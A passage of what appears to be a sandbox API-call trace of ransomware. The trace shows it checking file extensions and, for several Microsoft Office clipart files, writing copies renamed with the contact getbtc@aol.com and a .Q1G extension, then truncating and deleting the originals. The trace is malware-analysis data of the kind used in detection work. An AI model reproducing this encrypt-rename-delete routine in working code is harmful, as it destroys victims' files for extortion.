lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.097] lstrlenW (lpString=".bz2") returned 4 [0252.097] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.097] lstrlenW (lpString=".7z") returned 3 [0252.097] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.097] lstrlenW (lpString=".dbf") returned 4 [0252.097] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.097] lstrlenW (lpString=".1cd") returned 4 [0252.097] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.097] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF") returned 63 [0252.097] lstrlenW (lpString=".jpg") returned 4 [0252.097] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.097] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.097] lstrlenW (lpString="HH01875_.WMF") returned 12 [0252.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0252.387] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=2616) returned 1 [0252.387] CloseHandle (hObject=0x1fc) returned 1 [0252.387] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 0x20 [0252.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0252.443] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.443] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.444] GetLastError () returned 0x0 [0252.444] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xa38, lpOverlapped=0x0) returned 1 [0252.608] WriteFile (in: hFile=0x3c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xa40, lpOverlapped=0x0) returned 1 [0252.609] ReadFile (in: hFile=0x338, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.609] WriteFile (in: hFile=0x3c0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.609] SetEndOfFile (hFile=0x3c0) returned 1 [0252.609] CloseHandle (hObject=0x3c0) returned 1 [0252.610] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.610] SetEndOfFile (hFile=0x338) returned 1 [0252.612] CloseHandle (hObject=0x338) returned 1 [0252.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.626] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0252.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.774] lstrlenW (lpString=".doc") returned 4 [0252.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.774] lstrlenW (lpString=".docx") returned 5 [0252.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.774] lstrlenW (lpString=".pdf") returned 4 [0252.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.774] lstrlenW (lpString=".xls") returned 4 [0252.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.774] lstrlenW (lpString=".xlsx") returned 5 [0252.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.775] lstrlenW (lpString=".ppt") returned 4 [0252.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.775] lstrlenW (lpString=".zip") returned 4 [0252.775] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.775] lstrlenW (lpString=".rar") returned 4 [0252.775] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString=".bz2") returned 4 [0252.775] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString=".7z") returned 3 [0252.775] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.775] lstrlenW (lpString=".dbf") returned 4 [0252.775] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.775] lstrlenW (lpString=".1cd") returned 4 [0252.775] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.775] lstrlenW (lpString=".jpg") returned 4 [0252.775] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.775] lstrlenW (lpString=".doc") returned 4 [0252.775] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString=".docx") returned 5 [0252.775] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.775] lstrlenW (lpString=".pdf") returned 4 [0252.775] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.775] lstrlenW (lpString=".xls") returned 4 [0252.775] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.775] lstrlenW (lpString=".xlsx") returned 5 [0252.775] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.775] lstrlenW (lpString=".ppt") returned 4 [0252.775] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.776] lstrlenW (lpString=".zip") returned 4 [0252.776] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.776] lstrlenW (lpString=".rar") returned 4 [0252.776] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString=".bz2") returned 4 [0252.776] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString=".7z") returned 3 [0252.776] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.776] lstrlenW (lpString=".dbf") returned 4 [0252.776] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.776] lstrlenW (lpString=".1cd") returned 4 [0252.776] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 63 [0252.776] lstrlenW (lpString=".jpg") returned 4 [0252.776] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.776] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.776] lstrlenW (lpString="HM00005_.WMF") returned 12 [0252.776] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0252.825] GetFileSizeEx (in: hFile=0x3b8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=23300) returned 1 [0252.825] CloseHandle (hObject=0x3b8) returned 1 [0252.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 0x20 [0252.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0252.826] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.826] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0252.826] GetLastError () returned 0x0 [0252.826] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x5b04, lpOverlapped=0x0) returned 1 [0252.828] WriteFile (in: hFile=0x37c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5b10, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5b10, lpOverlapped=0x0) returned 1 [0252.829] ReadFile (in: hFile=0x3b8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.829] WriteFile (in: hFile=0x37c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.829] SetEndOfFile (hFile=0x37c) returned 1 [0252.829] CloseHandle (hObject=0x37c) returned 1 [0252.829] SetFilePointerEx (in: hFile=0x3b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.829] SetEndOfFile (hFile=0x3b8) returned 1 [0252.831] CloseHandle (hObject=0x3b8) returned 1 [0252.832] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.832] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf")) returned 1 [0252.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.833] lstrlenW (lpString=".doc") returned 4 [0252.833] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.833] lstrlenW (lpString=".docx") returned 5 [0252.833] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.834] lstrlenW (lpString=".pdf") returned 4 [0252.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.834] lstrlenW (lpString=".xls") returned 4 [0252.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.834] lstrlenW (lpString=".xlsx") returned 5 [0252.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.834] lstrlenW (lpString=".ppt") returned 4 [0252.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.834] lstrlenW (lpString=".zip") returned 4 [0252.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.834] lstrlenW (lpString=".rar") returned 4 [0252.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.834] lstrlenW (lpString=".bz2") returned 4 [0252.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.834] lstrlenW (lpString=".7z") returned 3 [0252.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.834] lstrlenW (lpString=".dbf") returned 4 [0252.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.838] lstrlenW (lpString=".1cd") returned 4 [0252.838] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.838] lstrlenW (lpString=".jpg") returned 4 [0252.838] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.838] lstrlenW (lpString=".doc") returned 4 [0252.838] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.838] lstrlenW (lpString=".docx") returned 5 [0252.838] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.838] lstrlenW (lpString=".pdf") returned 4 [0252.838] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.838] lstrlenW (lpString=".xls") returned 4 [0252.838] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.838] lstrlenW (lpString=".xlsx") returned 5 [0252.838] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.838] lstrlenW (lpString=".ppt") returned 4 [0252.838] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.838] lstrlenW (lpString=".zip") returned 4 [0252.838] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.838] lstrlenW (lpString=".rar") returned 4 [0252.838] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.838] lstrlenW (lpString=".bz2") returned 4 [0252.838] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.838] lstrlenW (lpString=".7z") returned 3 [0252.838] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.838] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.838] lstrlenW (lpString=".dbf") returned 4 [0252.838] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.839] lstrlenW (lpString=".1cd") returned 4 [0252.839] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF") returned 63 [0252.839] lstrlenW (lpString=".jpg") returned 4 [0252.839] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.839] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0252.839] lstrlenW (lpString="HM00114_.WMF") returned 12 [0252.839] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.840] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=22116) returned 1 [0252.840] CloseHandle (hObject=0x1f8) returned 1 [0252.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 0x20 [0252.840] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.840] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0252.840] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.840] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0252.842] GetLastError () returned 0x0 [0252.842] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x5664, lpOverlapped=0x0) returned 1 [0252.843] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x5670, lpOverlapped=0x0) returned 1 [0252.844] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.844] WriteFile (in: hFile=0x3b8, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0252.845] SetEndOfFile (hFile=0x3b8) returned 1 [0252.845] CloseHandle (hObject=0x3b8) returned 1 [0252.845] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.845] SetEndOfFile (hFile=0x1f8) returned 1 [0252.847] CloseHandle (hObject=0x1f8) returned 1 [0252.847] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.847] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf")) returned 1 [0252.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.848] lstrlenW (lpString=".doc") returned 4 [0252.848] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.848] lstrlenW (lpString=".docx") returned 5 [0252.848] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.848] lstrlenW (lpString=".pdf") returned 4 [0252.848] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.848] lstrlenW (lpString=".xls") returned 4 [0252.848] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.848] lstrlenW (lpString=".xlsx") returned 5 [0252.848] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.848] lstrlenW (lpString=".ppt") returned 4 [0252.848] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.848] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.848] lstrlenW (lpString=".zip") returned 4 [0252.848] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.849] lstrlenW (lpString=".rar") returned 4 [0252.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString=".bz2") returned 4 [0252.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString=".7z") returned 3 [0252.849] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.849] lstrlenW (lpString=".dbf") returned 4 [0252.849] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.849] lstrlenW (lpString=".1cd") returned 4 [0252.849] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.849] lstrlenW (lpString=".jpg") returned 4 [0252.849] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.849] lstrlenW (lpString=".doc") returned 4 [0252.849] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString=".docx") returned 5 [0252.849] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0252.849] lstrlenW (lpString=".pdf") returned 4 [0252.849] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString=".xls") returned 4 [0252.849] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0252.849] lstrlenW (lpString=".xlsx") returned 5 [0252.849] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0252.849] lstrlenW (lpString=".ppt") returned 4 [0252.849] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.849] lstrlenW (lpString=".zip") returned 4 [0252.849] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0252.849] lstrlenW (lpString=".rar") returned 4 [0252.849] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0252.849] lstrlenW (lpString=".bz2") returned 4 [0252.849] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0252.850] lstrlenW (lpString=".7z") returned 3 [0252.850] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0252.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.850] lstrlenW (lpString=".dbf") returned 4 [0252.850] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0252.850] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF") returned 63 [0252.850] lstrlenW (lpString=".1cd") returned 4 [0252.850] lstrcmpiW 